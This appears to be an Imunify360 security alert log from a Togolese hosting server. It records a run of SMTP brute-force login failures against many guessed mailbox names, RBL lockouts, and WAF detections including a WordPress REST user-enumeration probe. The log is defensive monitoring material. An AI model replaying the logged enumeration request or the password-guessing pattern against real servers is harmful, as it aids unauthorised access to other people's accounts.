IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/wp-json/wp/v2/users?context=view&search=&_locale=user||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/wp-json/wp/v2/users?context=view&search=lacs1.mairie.&_locale=user||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 12 06:39:58 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-12 06:40:00 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:34654: 535 Incorrect authentication data (set_id=9124194124@ns5.netmaster.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.173.128.223
country_id: 6252001
domain: chuso.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:107.173.128.223||TA:107.173.128.223||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:42:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:45002: 535 Incorrect authentication data (set_id=reception@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:42:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:25642: 535 Incorrect authentication data (set_id=charles@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:43:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:37146: 535 Incorrect authentication data (set_id=person@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:43:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:31088: 535 Incorrect authentication data (set_id=erin@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:44:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:1176: 535 Incorrect authentication data (set_id=temp123@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:43:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:4420: 535 Incorrect authentication data (set_id=charles@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:43:44 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:35934: 535 Incorrect authentication data (set_id=serverts@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:44:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:57226: 535 Incorrect authentication data (set_id=temp123@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:44:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:62056: 535 Incorrect authentication data (set_id=123123123@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:44:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:62540: 535 Incorrect authentication data (set_id=}admin@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.173.21.229
country_id: 2017370
description:
Jun 12 06:44:30 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.173.21.229 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.21.229
country_id: 2017370
description:
2026-06-12 06:44:32 dovecot_login authenticator failed for H=([119.200.229.33]) [31.173.21.229]:46418: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:44:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:23422: 535 Incorrect authentication data (set_id=figo@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:44:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:23158: 535 Incorrect authentication data (set_id=hirotada@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:44:55 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:16322: 535 Incorrect authentication data (set_id=klaudia@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:45:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:54826: 535 Incorrect authentication data (set_id=imprime@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 12 06:45:48 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:45:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:30288: 535 Incorrect authentication data (set_id=gvb@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-12 06:45:50 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:27392: 535 Incorrect authentication data (set_id=administrate@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:45:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:25460: 535 Incorrect authentication data (set_id=eleanor@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:45:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:24282: 535 Incorrect authentication data (set_id=ia@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:45:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:57920: 535 Incorrect authentication data (set_id=ootsuka@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-12 06:46:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:10838: 535 Incorrect authentication data (set_id=administrate@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 06:46:44 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:46:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:31324: 535 Incorrect authentication data (set_id=1002@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:46:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:22124: 535 Incorrect authentication data (set_id=agusia@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 12 06:46:22 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:46:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:16498: 535 Incorrect authentication data (set_id=bettina@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:46:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:51158: 535 Incorrect authentication data (set_id=video2@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:47:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:46184: 535 Incorrect authentication data (set_id=flint@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:46:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:50318: 535 Incorrect authentication data (set_id=ralph@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 06:48:11 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:47:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:13826: 535 Incorrect authentication data (set_id=geba@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 12 06:47:20 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:47:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:56142: 535 Incorrect authentication data (set_id=testing123@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-12 06:47:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:49626: 535 Incorrect authentication data (set_id=wuxi@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:47:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:13892: 535 Incorrect authentication data (set_id=jamie@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:47:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:23490: 535 Incorrect authentication data (set_id=flint@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:47:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:46270: 535 Incorrect authentication data (set_id=bars@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:48:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:65068: 535 Incorrect authentication data (set_id=bug@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:48:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:39934: 535 Incorrect authentication data (set_id=oohashi@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 12 06:48:21 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:48:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:5556: 535 Incorrect authentication data (set_id=rtorres@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-12 06:48:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:20100: 535 Incorrect authentication data (set_id=domino@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:48:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:29746: 535 Incorrect authentication data (set_id=cmd@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:48:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:38830: 535 Incorrect authentication data (set_id=poczta2@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:49:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:61498: 535 Incorrect authentication data (set_id=narsil@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.234.157.254
country_id: 3017382
description:
2026-06-12 06:50:06 dovecot_plain authenticator failed for H=marylou.nos-oignons.net (1cbh4maxb0vtdrbb5) [89.234.157.254]:33316: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:49:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:40136: 535 Incorrect authentication data (set_id=0123456789@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:49:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:48222: 535 Incorrect authentication data (set_id=narsil@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:49:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:53702: 535 Incorrect authentication data (set_id=proftpd@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.234.157.254
country_id: 3017382
description:
Jun 12 06:50:04 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.234.157.254 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:49:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:5798: 535 Incorrect authentication data (set_id=ircd@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:49:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:21642: 535 Incorrect authentication data (set_id=eyal@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-12 06:49:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:12300: 535 Incorrect authentication data (set_id=cpt@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 12 06:49:22 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:50:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:58718: 535 Incorrect authentication data (set_id=excellence@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 12 06:50:23 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-12 06:50:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:4358: 535 Incorrect authentication data (set_id=cls@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:50:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:48586: 535 Incorrect authentication data (set_id=pq@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:50:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:39902: 535 Incorrect authentication data (set_id=yz@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:50:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:27300: 535 Incorrect authentication data (set_id=liuzheng@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:50:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:13480: 535 Incorrect authentication data (set_id=yardbirds@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:51:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:23056: 535 Incorrect authentication data (set_id=master123@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 12 06:51:25 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.241.96.179
country_id: 2623032
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2026/06/logo-fnfi-qk5ekij353kqebovebmfl591pdpmo8pkd2jo4k813c-300x188.webp HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:51:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:20692: 535 Incorrect authentication data (set_id=ct@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 12 06:51:26 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:51:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:5356: 535 Incorrect authentication data (set_id=marlene@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:51:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:50042: 535 Incorrect authentication data (set_id=wl@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-12 06:51:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:60946: 535 Incorrect authentication data (set_id=montenegro@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:51:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:55646: 535 Incorrect authentication data (set_id=marlene@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:51:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:45146: 535 Incorrect authentication data (set_id=weatherford@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.93.129.22
country_id: 660013
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&action_name=Inclusion financi\xc3\xa8re et autonomisation des femmes\xc2\xa0: Victoire Tom\xc3\xa9gah-Dogb\xc3\xa9 partage l\xe2\x80\x99exp\xc3\xa9rience du Togo \xc3\xa0 Gen\xc3\xa8ve | TOGODAILYNEWS&siteId=1&rec=1&rand=868233&h=14&m=51&s=59&url=http:/togodailynews.tg/inclusion-financiere-et-autonomisation-des-femmes-victoire-tomegah-dogbe-partage-lexperience-du-togo-a-geneve/&uid=0&pid=13019&visitorId=b8e6b8b144affccb&fvts=1781247120&vc=1&idn=0&refts=0&lvts=1781247120&fullRef=undefined&send_image=1&cookie=1&res=375x812&gtms=1495&pvId=qxSNke&browser=Chrome_57&os=iOS_11.0.0&device=Mobile HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:52:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:41918: 535 Incorrect authentication data (set_id=mgames@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:52:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:14258: 535 Incorrect authentication data (set_id=whitehaven@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:52:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:12734: 535 Incorrect authentication data (set_id=smt@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:52:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:37204: 535 Incorrect authentication data (set_id=noha@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 12 06:52:31 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:52:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:61752: 535 Incorrect authentication data (set_id=ical@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:53:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:18336: 535 Incorrect authentication data (set_id=j2@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:53:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:62048: 535 Incorrect authentication data (set_id=engagements@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:53:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:5382: 535 Incorrect authentication data (set_id=relation@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:53:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:2114: 535 Incorrect authentication data (set_id=sabino@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:53:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:4796: 535 Incorrect authentication data (set_id=stg@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:53:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:13102: 535 Incorrect authentication data (set_id=hubble@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 12 06:53:24 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 06:54:16 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 06:54:23 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:54:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:60936: 535 Incorrect authentication data (set_id=atlasit@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:54:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:61550: 535 Incorrect authentication data (set_id=perla@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 12 06:54:22 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:54:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:10454: 535 Incorrect authentication data (set_id=tele@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:54:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:16862: 535 Incorrect authentication data (set_id=telep@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:54:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:53914: 535 Incorrect authentication data (set_id=ts6@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 12 06:55:21 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:55:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:8318: 535 Incorrect authentication data (set_id=glee@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:55:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:64354: 535 Incorrect authentication data (set_id=presiden@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 06:55:27 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:55:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:45892: 535 Incorrect authentication data (set_id=olympus@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 12 06:55:39 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 06:55:48 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 151.240.254.46
country_id: 6252001
domain: belali.tg
description:
IM360 WAF: Request body parsing error||err_msg:XML parser error: XML: Failed to parse document.||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:55:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:53766: 535 Incorrect authentication data (set_id=chenqian@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.44
